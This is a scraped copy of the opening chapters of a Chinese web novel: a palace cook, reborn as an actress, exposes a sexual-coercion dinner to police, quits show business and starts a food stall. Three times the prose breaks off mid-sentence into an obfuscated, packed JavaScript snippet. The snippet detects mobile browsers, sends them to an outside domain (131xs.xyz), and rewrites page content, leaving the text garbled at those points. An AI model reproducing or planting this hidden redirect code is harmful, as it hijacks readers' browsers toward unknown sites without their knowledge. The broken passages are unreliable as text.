《退圈摆摊，怎么全网求投喂？》 1. 001 【速看！大瓜！某女星当众耍大牌打人！】 晚上11点，某百万关注的八卦号忽然放出一条视频，立刻就吸引了吃瓜网友们的注意力。 视频非常模糊，只能够看见某位女子猛地将旁边那人推倒在地上，旋即视频一番天旋地转，只剩下周围一片吵吵嚷嚷的声音，便戛然而止。 视频虽短，遐想空间却大。 不过短短10分钟，这条爆料的内容下方就出现了几千条评论。 【卧槽？直接把人都给推到地上了！这下手可够狠的啊！】 【这是娱乐圈还是□□啊？（愤怒.jpg）】 【马德！最烦这群208w了！博主怎么不直接把人名爆出来！这种人还给留什么面子？！】 看了视频之后，几乎所有网友都在愤愤不平。 很快，相关词条就登上了热搜前十。 并且在登上热搜后，评论区很快就有人发了现场的其他照片。 在这张照片中，将周围都做了马赛克的处理，唯独将那位打人的女星的脸，清晰地露了出来。 立刻，就有人认出了这位女星。 【我去！这不是言初莘吗？】 不到5秒的时间，热搜词条就替换成了—— #言初莘打人# 【（呕吐.jpg）太恶心了，没想到她居然是这样的人！】 【啧啧啧，果然是相由心生，我从一开始就觉得她不是什么好东西！】 *** 网络上风起云涌的时候，作为当事人的言初莘已经站在了警局的大厅里。 明明已经是深秋，她的身上却是一件单薄的白裙，冷风穿过大堂，吹得她一个激灵，忍不住“阿嚏”了一声。 这一声，将警局大厅里其他人的目光都吸引了过来。 大厅里正在执勤的女警闻声看向她，眼里刹那间闪过一丝惊艳。 面前的女子一袭白裙，白裙的右侧带着大片的红，仔细看仿佛是红酒的痕迹，她身体微微打着冷颤，紧紧抱着自己的手臂，仿佛在为自己取暖。 虽素面朝天，但美得惊人，尤其是那一双眼眸，仿佛燃烧着熊熊的怒火。 只是一刹那的愣神，女警立刻就恢复到自己的职业水平，走上前询问道：“你是遇到了什么事吗？” “这里是……衙门吗？” 听见言初莘这话，女警愣了一下，不知是脑补了什么，望向言初莘的眼神里多了一分怜悯：“这里是警局，但是职能确实类似于古时候的衙门。” 闻言，言初莘松了一口气。 她冷静地开口，说出的话却让警局大厅里，听见这话的所有人都惊诧地抬起头。 “我要报案。” “状告……有人借酒局行钱色交易之事！” 此时，旁边有来警局报案的其他路人猛地到抽一口冷气，指着言初莘开口：“她她她……她不是那个明星？演古装剧里公主的那个！” 听到这里，女警脸色一肃，她和旁边的同事对视一眼，都从对方眼中读出了同样的神色。 女明星，钱色交易，酒局。 这三个关键词结合在一起，让所有人立刻意识到，这件事绝对不简单。 “你先跟着我来，详细说明下情况。” 考虑到言初莘的情况，女警立刻做主将言初莘带到了单独的房间里进行询问。 *** 在房间里坐下后，言初莘才终于松了一口气，开始梳理脑海中纷繁复杂的信息。 她明明记得自己上一秒还在着火的御膳房中，大声地呼救着，在奔涌来的窒息感中，终于还是眼前一黑，彻底晕了过去。 等到她再次睁开眼的时候，周围是全然陌生的人和纷乱的声音。 低矮逼仄又奇怪的房间，那灯惨白得吓人，照着眼前举着酒杯的人狰狞又丑陋的笑脸。 坐在自己旁边的人扯着谄媚的笑脸，如同太监见到了宫里贵人，笑得褶子都出来了，还扯着她的胳膊，在她耳边恶狠狠地开口：“言初莘，别给脸不要脸！傅总能看上你，是你的福气！别当自己冰清玉洁，就你现在这糊样，还有什么可挑剔的？给你爬上傅总床的机会，你可别不中用！” 明明都是汉字，组合在一起，却成了让言初莘全然陌生的话语。 眼看着她在原地愣神，一旁的人急躁的心已经按捺不住了，直接拉起言初莘的手，朝着那谢顶的所谓“傅总”靠去。 “傅总您别见怪啊，初莘只是有点害羞。” 闻言，那傅总嘿嘿一笑，眼神从言初莘的身上扫过，满眼都是藏不住的垂涎神色：“没关系，我就喜欢有个性的。” 说着，傅总便靠前，摸上了言初莘的大腿。 就是这一刹那，言初莘打从心里涌起一股恶心的感觉，她再也忍受不了，猛地站了起来，满杯的红酒都洒在了她的裙子上。 言初莘满脑子只剩下一个字—— 逃！ 她不假思索地朝着门口跑去。 言初莘的动作过于突然，以至于直到她跑到门口的时候，一屋子的人才终于反应过来。 等言初莘推开门的时候，傅总和那位谄媚如太监的人。 那位中年男人对着傅总的表情谄媚如太监，面对言妲宫却阴森如修罗：“跑？我倒是要看看，你能跑到哪里去！” “这小妞还怪得劲……” 傅总说着，便朝着言初莘扑了过来。 说时迟，那时快，言初莘条件反射地一把推了出去，将傅总推倒在地上。 旋即，趁着周围人都去搀扶傅总的时候，她越过人群，发疯一般地跑了出去，不管不顾周围一切的目光，直到彻底看不见那幢建筑后，才终于停下了脚步。 环视着周围陌生的景色，夜风吹过，令言初莘忍不住打了个寒颤。 她这时候才发觉，周围人都穿着陌生的服装，梳着陌生的头发。 “你没事吧？” 终于，有路过的女生望着言初莘可怜兮兮的模样，忍不住上前搭话。 言初莘仿佛听见了天籁，她求助地望向对方：“你知道……衙门在哪里吗？” “衙门？你是说警局？”女生似乎是联想到了什么，望着她的眼神里带上了同情的神色，“往前走一百米左右就是了，蓝色门头。” 刚才发生的一切实在是过于突然，以至于直到现在，坐在温暖的警局房间里，言初莘才稍稍放松下来，开始整理自己大脑中忽然接受到的海量讯息。 大量的信息让言初莘的大脑不可避免地开始胀痛，好在她很快从 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15543428|171094||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 海量讯息里梳理出了关键内容。 首先，她死了。 准确说，是曾经在景朝作为御膳房大掌事的她，死了。 如今不知算是庄周一梦，又或是作为的轮回转世忘喝了孟婆汤，她来到了和她同名同姓的女子身上。 这女子如在景朝的她一般，父母早亡，艰难长大，后进入了所谓的“娱乐圈”，从事名为“演员”的行当。瞧着像是她那时候的戏子，只是在如今这个社会，戏子也不似那般下九流，而是成了一正经行当。 刚才在那酒桌上，坐在她旁边状若太监又似老鸨的人，便是所谓的“经纪人”，说着是给她介绍资源，去吃一顿饭就好，原主这才轻信了。 想到这里，言初莘微微眯起了眼睛。 原身单纯，到了酒局上才意识到。可言初莘却是从腥风血雨的宫廷中趟过泥的，况且还靠着女子身登上了御膳房大掌事之位，嗅觉和味觉都格外灵敏。 方才那酒杯还隔着半米远，言初莘就已经闻到了古怪的气息，仿似迷药。 她才会打翻了酒杯，都没有接收完脑海中的信息，顶着大脑的剧痛夺门而逃。 如今整理完脑海中的信息，言初莘更加确定，这就是一个针对原身设下的圈套。 如果原身相信了那只是一杯普通的酒，喝下之后，她会面临什么？ 言初莘简直不寒而栗。 房间的门再一次被人打开，言初莘抬头，看见了刚才带领自己进门的女警。 她坐直了身体，还没等她开口，女警拿着毛毯盖在了她的身上。 身体上传来的温暖，让言初莘忍不住愣了愣，下意识抬眼看向女警。 “别着凉了。” 女警的语气硬邦邦的，脸上也没有什么表情的变化。 言初莘捏着柔软的毛毯，却仿佛心也跟着身体一起暖和起来了，忍不住勾起了嘴角。 “多谢。” 女警望着言初莘的笑脸，神情柔软了一瞬，却在听着言初莘说完事件的前因后果后，表情重新变得冷硬，连放在桌下的拳头都握得梆硬，浑身上下散发着肃杀的神色。 言初莘望着女警的神色，便清楚自己方才的含泪诉说起效了。 她梨花带雨，微微垂眸，眼底却没有半分柔弱的神色，而是一片清明。 在宫廷里生存久了，自然清楚，在生死攸关的惊险时刻，容不得半点风险。 从进入警局的时候，她就在观察，好在这个世界的“衙门”确实嫉恶如仇，她才有机会通过放大情绪地表达现场情况和自己的害怕，获取对方的同情，捎带着勾起“衙门”对那伙人的憎恶。 言初莘带着哭音：“我逃走的时候，房间里还有其他女生……但是我实在害怕……” 说着，言初莘的身体还微微颤抖着，低垂的眼眸里却并不是害怕，而是实实在在的怒火。 “别怕，我们一定会将这群人绳之以法。” 听见这话，言初莘勾起嘴角。 *** 当夜，警局灯火通明。 热搜上，围观网友还在对言初莘口诛笔伐的时候，却有另一个词条悄悄挂上了热搜。 【惊爆！某地扫黄打非抓到了大鱼！地产大佬、娱圈小生、网红、经纪人……被一网打尽了！！！】 2. 002 爆出这条消息的娱记，最开始仅仅是想要蹲守一条八卦消息，没想到居然蹲守到了警方来抓人这个大瓜！ 他迫不及待就将消息爆出，还贴心地附上了一段现场视频。 视频中可以清晰地看到，警方将人从现场带出，几乎每一个被带出的人都抬手捂住了自己的脸，隔着距离都能从肢体动作上感受到他们的紧张和惶恐，旁边还有围观的人在好奇地张望。 爆料一出，底下的评论立刻两极分化。 【卧槽？一口气抓了这么多人？这怕不是直接捅到了潜规则现场吧！（震惊.jpg）】 【1、2、3……视频里拍到的就有整整17个人！啧啧啧，贵圈真乱啊……】 【地产大佬？今天有哪个地产大佬是在海市的吗？（陷入思考.jpg）】 一波人已经彻底相信了这条爆料，另一波人还保持着怀疑态度。 【这爆料未免也太假了吧！这视频里都看不清人脸，怎么能确定到底是谁呢？】 【最烦这种谜语人了！除非把名字爆出来！不然一概当成是假料处理（无语.jpg）】 虽然网友争论不休，但是在夜猫子出没的黄金时间段，这条消息毫无疑问吸引来了不少吃瓜的网友。 娱记在评论区里，还时不时地翻牌网友，回复一些充满暗示性的话语—— 【地产大佬是哪位啊？视频最前面穿着西装的那位吗？透露一下？（竖起耳朵.jpg） ——回：不是一把手，但也是地产公司里有头有脸的，百科有专属词条的大佬了（狗头.jpg）】 【这些人聚在一起，是谁攒的局啊？（吃瓜.jpg） ——回：谁想要获取资源，又不用自己直接付出，自然就是攒局的人啊】 【又有网红，又有娱乐圈的小生……这个局的人有点杂啊 ——回：脑子灵活一点，网红和娱乐圈小生在某些方面，或许有交集呢？比如……公司？（看戏.jpg）】 一通操作下，这条热搜的热度也跟着水涨船高，一路窜上了热搜前十。 这则消息登上热搜的时候，言初莘打人的热搜还没有撤掉。 最开始，是对于一个得罪了金主的“不听话”艺人，经纪人想要给她点教训，所以没有做任何的公关动作。更何况，相比于拒绝了金主的“不听话艺人”，自然还是讨好面前的金主才是“正经事”。 后来，被警方突袭检查的时候，经纪人也在现场，如今正在局子里蹲着接受审问，焦头烂额下，更加没有精力去处理艺人的舆论。 双重因素叠加，就导致了一个滑稽的局面。 前10的热搜中，言初莘打人的热搜和扫黄打非的热搜一上一下。 只是最开始，吃瓜网友并没有意识到，这两条热搜有什么关联。 直到警方发出通告—— 【海城警局（V）：感谢@言初莘女士积极举报涉.黄.涉.非线索！您的支持为公安机关打击违法犯罪提供了重要帮助，展现了高度的社会责任感。 警方将持续严查此类行为，主动打击涉黄涉非行为，共同维护良好社会环境。】 看到这条通告的吃瓜网友：？？？ 啊哈？ 你说谁？ 言初莘？ 【这个“言初莘”……是我知道的那个“言初莘”吗？（满脸懵逼.jpg）】 【警方不会是@错人了吧？】 【怎么可能会犯这么低级的错误……】 排除掉一切错误的选项，剩下的那个答案哪怕再离谱，也是唯一的正确答案。 网友点开被警方艾特的账号，发现确实是言初莘的官方账号，甚至最新一条的内容下面，还充斥着铺天盖地的辱骂。这才终于确定，在通告中那个“举报人”，确实就是他们知道的“言初莘”没错了。 这条消息就像是热油滴进了滚烫的锅里，舆论瞬间便沸腾了。 *** 在通告发出来之前，言初莘先一步知道了调查的结果。 意料之外，但情理之中，那一桌子可谓是“藏龙卧虎”。 这种饭局的“交易”形式，对于他们来说，可谓是稀松平常，言初莘远不是他们第一个下手的对象。 再次之前，经纪人用这种形式，和地产大佬做过不止一次的“交易”。其中，虽然有人为了获得资源，主动同意做这些事；但也有不少人和言初莘一样，在一开始并不知道也不愿意做这种所谓的“交易”。 对于这一类的“硬骨头”，经纪人的办法是威逼利诱加下药，不管对方是否情愿，只要地产大佬看上了，他就会把人送上对方的床。 事情发生后，并不是没有人反抗，但地产大佬每次做这种事情，都会留下受害者的影像记录作为要挟。 在“被雪藏”和“影像记录”的双重要挟下，受害者们大多只能无奈地后退一步，妥协在现实的压力下。甚至即便有人之前报警，也在对方拿出影像后，迫不得已地同意了私下和解。 从警方口中听到这些的时候，言初莘忍不住皱起眉头，眼睛里涌起了怒气。 不过这一回，言初莘报警的情况有所不同。 首先，她及时地反抗了，所以她并没有在对方手里留下什么影像的把柄。 其次，她报警的足够及时，警方调查的也足够突然，不仅直接将酒桌上花天酒地的人们抓了个正行，还直接抓住了已经开好房间，正准备进行潜规则的地产大佬。 监控视频全都是铁证如山。 再联网查到被抓的这些人之前的卷宗，这一桌上，那些攒局的人，无论是言初莘的经纪人还是地产大佬，一个都逃不掉！ 在警方调查的时候，地产大佬的律师线上介入，并且给言初莘开出了条件：“只要你答应撤销报案，钱、资源，想要什么条件都可以商量。不过，假如言小姐不同意，想必你也能够想到后果，我老板可不是什么好脾气的人。” 听着对方的话，不仅旁边的警察脸上泛起怒色，言初莘眼底泛起冷意。 “我想，言小姐应该是个聪明人。” 对方说完，便胸有成竹地等待着言初莘的选择。 而言初莘只是冷冷一笑，“你说的似乎很有道理，不过……” “我拒绝。” “垃圾就应该到他应该到的地方，留在外面只会让整个环境都臭不可闻。” “顺便，帮我转告那个老匹夫——” 言初莘眼底闪过寒芒。 “滚！” *** 拒绝了对方私下和解的要求，在警方发出通告的时候，言初莘也同意了可以直接艾特她的账号，不需要为她匿名。 “我没有做错任何事情。” “应该对此感到羞愧的不是我，而是这群没皮没脸的家伙。” 于是，言妲宫的账号便公开出现在了警方的通告中，宣告所有人，她正是那个举报人！ 【woccccccc？所以言初莘是直接举报了潜规则现场是吗？通告里面的“涉.黄.涉.非”看起来非常细思极恐啊……】 【下面有警方的详细说明，这里的地产大佬居然还是个有案底的……之前就被人报警过，说这个人涉嫌强.奸，只是那次私下和解了。这回被抓，才被连带着扒了出来】 【何止，里面那个经纪人之前也有案底，之前 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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连带着不少粉丝也开始人人自危，纷纷开始自查自家哥哥姐姐们的项目，是否出现过这个地产大佬的名字。一旦出现，便会直接和经纪公司抗议，要求增加保护人手，或要求直接更换项目。 接着受到冲击的便是言初莘所在的经纪公司。 经纪人直接参与“拉皮条”这件事，直接击穿了粉丝们接受的下限，他们有些在网络上呐喊，有些直接到线下举牌子、拉卡车，提出经纪公司内部整改，或要求艺人更换经纪公司。 一时间，经纪公司内部人心动荡，内部离职率陡然升高。 牵扯到这件事中的相关人员，无一不伤筋动骨。 而最初扇一扇翅膀，掀起了这一场风暴的“蝴蝶”言初莘，也接到了来自经纪公司的电话。 当对方询问她的要求时，言初莘只回复了4个字—— “我要解约。” *** 对于小艺人，公司的合约依然严苛，但是在谈判的时候，言初莘总是在“恰当”的时候，若有似无地透露出一丝对公司内部隐秘的了解，将对面吓出一身冷汗。 看着对面的人汗如雨下，言初莘嘴角挂着莫测的笑意：“如果我没办法解约，还在公司，我可不一定能管住我这张嘴不往外说什么。或者……对警察说什么。” 在一番拉扯后，言初莘终于如愿以偿，和公司成功解约。 解约成功后，言初莘走出公司的大门，仰望着蓝天，呼吸着自由的空气，嘴角忍不住漾起笑意。 她拿出手机，用着刚学会的输入法，认真地发出了一条内容—— 【言初莘：我退圈了，有缘再见。】 这条内容发出后，顷刻间，#言初莘退圈#直冲热搜第一。 3. 003 最开始，网友们都觉得这只是一个愚人节玩笑，吸引人眼球的把戏。 【开玩笑的吧？今年的愚人节玩笑？】 【用这种手段来吸引流量，也真的是饥不择食了】 【无语了……不会一会儿就出来发表声明，“抱歉占用了公共资源”吧？】 无论网友们如何猜测，发完这条博文后，言初莘的账号就再也没有任何动静。 当好事的网友跑去言初莘的经纪公司底下留言，得到了官方回复后，才终于确定，言初莘确实已经和公司解约了。 一时间，网络上的舆论瞬间炸开了锅。 【妈耶……言初莘真的退圈了？（瞳孔地震.jpg）】 【之前那群营销号呢？一个个都跳出来，信誓旦旦地说言初莘是借着“退圈”的名头炒作，结果人家是真的退圈了哦】 【原来不想要待在娱乐圈里，是可以退出的啊（手动@某些800个热搜说辛苦的208w们）】 【之前不了解这姐。但是前有报警，后有自宣退圈，真勇啊（抱拳.jpg）很少在娱乐圈看到这么活人感的女明星了……哦，不对，过了今天就不算女明星了，毕竟已经退圈了】 很快，便有网友开始了阴谋论。 【阴暗一点想，言初莘前脚报警，后脚就退圈，这里面难道就没点猫腻？（细思极恐.jpg）】 【好端端的，谁会想要退圈啊！肯定是受到了公司的威胁啊！】 【yue——娱乐圈这个环境真的太恶心了，做错事情的人活蹦乱跳，勇敢反抗的人反而不得不退圈……】 一瞬间，言初莘的经纪公司受到了更加猛烈的攻击，偏偏言初莘退圈这件事，还真的不是经纪公司主动的。 对于经纪公司来说，他们当然不希望言初莘退圈，只有将对方的合约捏在手里，才更有办法控制对方。 可惜，经纪公司也害怕言初莘真的往外说些什么。最终在权衡之后，同意了言初莘的退圈要求，没有收违约金，但是代价是言初莘签了一份协议，要求她在退圈后，不得再发表损害经纪公司名誉的事情。 签了协议后，言初莘才算是正式“脱身”。 不过这些内容，并不是可以摆在台面上的事情，所以面对网友的攻击，经纪公司也只能忍下了这个哑巴亏。 *** 网络上风起云涌的时候，言初莘正盯着自己的银行卡余额，陷入了沉默。 可是无论她翻来覆去数几遍，将手里盯出了花儿，上面的数字也分毫未动—— [6,666] 还怪吉利的。 这个念头在言初莘的脑海中一闪而过，但紧接着便不由叹了口气。 莫名来到这个世界前，已经登上御膳房大掌事之位的言初莘，已经很久没有遇到过如此窘迫的境地了。 看来，必须尽快赚钱了。 只是短短几个瞬息，言初莘便调整好了心态。 至于应该做什么，言初莘几乎没有过多犹豫。 她出身御厨世家，在宫廷里多年，靠着女子身登上御膳房大掌事之位，成为古往今来第一位女大掌事。虽然来到了陌生的时代，但手里的厨艺还在。 虽然不足以开一家小店，但是这个世界对流动摊贩的限制性并不高，可以先摆摊作为起步。 打定主意后，言初莘找到了附近的美食街。 刚来到美食街路口，热腾腾的烟火气扑面而来，灯火通明的景象，让言初莘恍惚间仿佛来到了元宵灯会上。 霸道的肉香扑面而来，言初莘走近一看，横陈的铁架下炭火明灭，摊主一手拿串，快速地翻动着，另一手则快速拿起调料罐，撒上孜然粉、辣椒面，在火的激发下，羊肉的逐渐变成了褐色，肉香和香辛料的香气混杂在一起，被油脂的香气稳稳地托举着，充满了市井豪迈的烟火气。 闻着这气味，言初莘买了一串，以解饥肠辘辘。 言初莘还嚼着羊肉，另一股浓烈的香气传来，闻着颇有几分川蜀的风味。 言初莘循着香味，便看到了一个悬挂着“麻辣烫”三字的小摊。 锅中红汤翻滚，牛油与椒姜共熬的辛香逸散而出，一旁摆着各色食物——菜蔬、肉丸、豆腐……任凭挑选。 仅仅言初莘停留的这一小会儿，就有不少人在排队夹菜了。 一转角，言初莘又看到了一个糖水铺。 这冒着冷气的柜子，言初莘在原身的记忆中翻找了一圈，才了解到这物件的名字是“冰柜”。柜中陈列着各色的冻膏、奶羹。招牌最前面的一个写的是“杨枝甘露”。 言初莘要了一份，尝了一口，便了然，原来是以椰浆为底，杂以西柚粒、芒果肉，再缀以透明圆子。胜在酸甜清爽，开胃解暑，也难怪能上招牌。 在美食街上转了一圈，言初莘心里也有了底。 虽然在小摊上，言初莘也看到了一些没见过的食材，但整体上，烹饪手法并没有太大的差异。 刚才走过美食街，言初莘专门留意了一下每个小摊面前排队的人，重油重盐重调味的美食摊前，往往是排队人最多的。 有了主意，言初莘跑了几趟相关部门，将相关的证件都准备齐全，又进了一辆二手的流动摆摊车，便着手准备开摊了。 3天后，在临城大学的北门口，出现了一个热气腾腾的流动小摊。 *** 五月初，风中还裹着暮春的湿润，阳光却已经预告着初夏的燥热。 黄昏拖着绯色的霞光，言初莘便披着霞光，来到了北门口。 北门虽然没有美食街竞争那么激烈，但也有零星几个小吃摊，一旁的烤冷面和糖葫芦，都已经在北门经营了一段时间，拥有自己稳定的客户群。而言初莘不过是初来乍到。 以至于，虽然有不少下了课的大学生来到北门附近觅食，但却还没有一个人来到言初莘的摊前。 言初莘并没有着急，而是掀开了一旁煮着卤味的锅，刹那间，伴随着升腾的热气，香浓的卤香彻底飘散开，顺着风飘到了每个人的鼻尖。 一时间，在其他摊前的大学生们、北门口的保安、骑着小电驴路过的外卖小哥，都闻到了这股味道，下意识顺着香气传来的方向看过去。 许茗茗是临城大学视觉传达设计专业的大一学生，她最近吃腻了食堂，约着室友毕婕来北门口吃烤冷面。 就在等室友来的时候，许茗茗忽然闻到了这股飘散的卤香。 这股卤味和她之前外卖点的连锁卤味，味道格外不同，不只是花椒的麻和干辣椒的辣，仿佛带着微微木质的回甘，在鼻腔里回荡出一种层次分明的气息。 只是闻着这股味道，就让许茗茗忍不住咽了咽口水。 “茗茗！”室友毕婕正好在这时候到了，“你怎么还在门口，不是说吃烤冷面……我天！什么味道这么香！” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15543430|171094||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 毕婕说出了周围所有人的心声。 许茗茗的目光落在言初莘的摊上，眼神里充满了纠结。一边是浓郁的卤味香气，另一边是已经和室友约好，心心念念的烤冷面。她一时间不知道该如何选择。 “这不简单，我点烤冷面，你试试新的摊，一会儿我俩互相尝尝对方的不就好了。” 听见室友的声音，许茗茗才发觉自己不知不觉将纠结说出口。 商量好之后，许茗茗走到摊前，看见一旁的菜单明码标价—— 炒饭/炒细粉/炒河粉/炒面/炒饼丝|15元/份（额外加蔬菜/肉另算） 底下还有卤味的价格，每个标价都很清晰。 这清爽的菜单，让许茗茗内心不由地升起了好感。 仔细看了菜单后，许茗茗还是选了基础的方案：“老板，要一份炒饭，再拿两个卤鸡爪。” “好，扫码支付就可以，你在旁边坐一会儿，马上就好。” 小吃摊后的“老板”一开口，作为声控的许茗茗立刻眼前一亮。 好温柔的声音，每个音节都仿佛裹了一层蜜糖，尾音带着微微的上扬，挠得人心里微微发痒。 许茗茗抬头看向老板，虽然小姐姐戴着白色的口罩，被水蒸气遮掩了轮廓，但眉如远山，眼如秋水，只看眉眼也能瞧出是个美人。 一时间，许茗茗有些手痒，想冲回宿舍拿起自己的平板，把这一幕给画下来。 下一刻，如同古典画里走出的小姐姐，单手抄起了铁锅。 许茗茗：！！！ 刹那间，许茗茗仿佛有一种看见“林黛玉倒拔垂杨柳”的惊悚感。 这种惊悚感没持续多久，就被铁锅里飘散出的香气给转移了注意力。 虽然是一份简单的炒饭，但是最简单、最日常的菜，其实才是能看出差距的。在御膳房里锤炼了那么多年，即便是最基础的菜，言初莘也已经做过千百次。 开火后，锅里微微冒着热意的时候，言初莘就放入一抹猪油轻轻地润锅，在表面微微泛起油亮的时候，便快速放入提前凉好的冷饭。 等到猪油将每一粒米饭都层层包裹，打散的蛋液一起加入，在升腾的火焰中，言初莘单手颠锅，所有的食材都在锅里翻面又落下，却没有任何一粒米落在锅外。 随着言初莘颠锅的动作，旁边的人也不由地看了过来，发出了“哇”的声音。 等到蛋液将每一粒米都彻底包裹，言初莘再加入葱花和自己秘制的小咸菜，以及切好的香肠丁，翻炒均匀后，放入雪白的纸盒里。 卤鸡爪也用纸盒单独装好，还加了一勺卤汤。 言初莘将两个纸盒递给许茗茗：“给，你的炒饭和卤鸡爪。尝尝味道怎么样。” 许茗茗此刻的心神已经完全落在了面前的蛋炒饭上，她一坐下，便迫不及待地用挖起一勺放进嘴里。 蛋炒饭粒粒分明，挖下去的时候，仿佛能听见米粒“簌簌”的轻响，松软得像是动漫里的画面。鸡蛋蓬松柔软，香肠丁鲜美，被猪油的荤香层层包裹住，更有咸菜加了一分酸爽，形成了复杂又充满层次的口感。 偏偏并不让人觉得油腻，甚至尝出了一丝清爽。 信号传导到许茗茗大脑，只剩下两个字—— “好吃！” 一瞬间，许茗茗的脑海中飘过一个奇特的想法—— 原来动漫里那些吃了炒饭眼含热泪的人，是真实反应吗？ 4. 004 动漫里那些人的反应是否真实，没有人可以判断。 许茗茗这样的反应，却让一旁其他人冒出了怀疑：“你该不会是老板请来的托儿吧？” “什么托儿？”毕婕拎着烤冷面来找许茗茗汇合，正好听见其他人的吐槽，一转头看见许茗茗，忍不住瞪大了眼睛，“茗茗，你怎么吃这么快？都快吃完了！” 其他人不清楚，毕婕可了解，许茗茗到底有多挑嘴。 高中严格军.事化的管理模式，让许茗茗早早就有了胃病，简直是行走的“食品健康检测仪”。但凡遇上蔬菜不新鲜、肉类过夜……分分钟开始胃疼，以至于她对吃的东西格外注意，直接表现就是突出的细嚼慢咽，每次到了吃饭的时候，就化身树懒，恨不得一口能嚼30下。 可是她现在看到了什么？ 正对着一碗普普通通的蛋炒饭狼吞虎咽的女生，还是那个她熟悉的许茗茗吗？！ 听见毕婕这话，正埋头苦吃的许茗茗一抬头，才恍然发觉刚才满满一盒蛋炒饭，居然已经快要见底了！ 偏偏她现在半点没有不舒服的感觉，反而胃里暖洋洋的，仿佛在温水里泡过一样。 意识到这点后，许茗茗自己更是惊讶。 她低头望着蛋炒饭，眼神里充满了惊喜的神色。 毕婕用惊奇的眼神望着许茗茗：“茗茗，你不会是饿过头了吧？” 许茗茗下意识反驳：“你不懂，这蛋炒饭真的很好吃！” “能有多好吃。”还没尝到过的毕婕只觉得好笑，“这不就是一碗普通的蛋炒……”饭。 毕婕话音未落，就被一勺蛋炒饭堵住了嘴。 她下意识开始咀嚼，刹那间，便忍不住瞪大了眼睛。 好吃！ 毕婕家庭条件不差，吃过小炒店里20一碗的炒饭，也吃过创意餐馆里200多一碗的炒饭，宣称出自星级大厨之手。可是不管怎么样的炒饭，对于毕婕来说，都不过是炒饭而已，没有什么特别的。 又油又腻，吃完之后，一股子去不掉的油腥味就悄悄藏在了牙齿缝隙中，不得不用漱口水才能够去除。 偏偏，现在她嘴里的这一勺炒饭，几乎打破了她对炒饭的所有固有认知。 假如人快乐到极致的时候可以瞧见灵魂，毕婕此刻的灵魂小人应该已经在捧脸尖叫了。 天哪！一碗蛋炒饭怎么可以这么好吃！ 蛋花完全将米饭包裹住，每一粒米上都包裹着浓郁的蛋香，蛋花蓬松又暄软，却并没有喧宾夺主，而是被炒成了接近于米粒大小的颗粒，和米饭粒混杂在一起，丰富了唇齿间的咀嚼感。 酸酸咸咸的小咸菜和腊肠丁混杂在里面，明明都是再普通不过的食材，可是混杂在这一碗炒饭里，却平添了几分趣味。 明明她能尝出炒饭里放了油，却并没有她最讨厌的油腥味。 直到一口炒饭完全咽下肚，毕婕都没有满足，反而意犹未尽地舔了下舌头，再次低头看向那碗炒饭的时候，眼神已经带上了渴望。 在毕婕这样的眼神下，许茗茗下意识捞起一大口放进自己嘴里，嘴里塞这满满的炒饭，含糊不清地开口：“这一份已经快吃完了，你再点一份吧。” “整的好像我要跟你抢一样。” 毕婕笑骂了一句，心里却不免心虚。 许茗茗猜得没错，刚才那一瞬，她确实升起了抢走许茗茗手里那一份的想法。 可惜，她和许茗茗已经太熟悉了，一个眼神，就被猜到了她的想法。 走到言初莘的小吃摊前，毕婕没有过多纠结就做出了自己的选择：“老板，来一份炒细粉，再加一份鸡腿肉。” 说完，毕婕看见了小吃摊旁边挂着的招牌：“你们家还卖卤味啊。” 话音刚落，一阵风吹过，浓郁的卤香瞬间充盈着毕婕的鼻腔，让她忍不住咽了咽口水：“每样卤味都给我来一份。” 闻言，言初莘虽然为这一桩买卖高兴，但还是提醒道：“炒细粉的量不小，再加这么多卤味，如果吃不完就浪费了。” 听见这话，毕婕反而笑了，心里对老板也多了几分好感：“没事，我一会儿可以打包带走。” 见到毕婕已经有了主意，言初莘也没有再多劝阻。 大火燃烧间，一旁人也再次见到了言初莘那熟练的颠勺动作。不多时，毕婕点的炒细粉和卤味都已经装好盛出。 第一口炒细粉下肚，毕婕便忍不住从喉咙里发出幸福的喟叹。 除了加了一份鸡腿肉，其他部分的料和刚才的炒饭都是一样的配置。可偏偏这一份炒细粉，尝起来就是更有滋有味。 炒细粉，过久则容易断；过短则容易夹生，中间的火候把控，会直接反应在最终的成品上。可偏偏这一份炒细粉的火候控制，也堪称完美无瑕。 刚端上桌的时候，那卖相，几乎就已经是五星级餐厅里商品图的标准了。 更让毕婕惊喜的是里面的鸡腿肉。 太嫩了！ 一口咬下去，甚至能够感受到里面的汁水在牙齿间嘣开的愉悦感，鸡腿肉明显是提前腌制过，里面的味道恰到好处。 尝到了这炒细粉里的鸡腿肉，毕婕只觉得那些网红炸鸡店的鸡肉都弱爆了！ 毕婕坐到小桌上，开始大快朵颐的时候，一旁观望的人们也打消了顾虑，尝试性地走了上来点单。 没多久，言初莘的小吃摊前就排起了长队。 等到毕婕和许茗茗吃完一抬头，才发觉自己所在的小方桌已经被两列队伍给遮挡在中间，拦得严严实实。 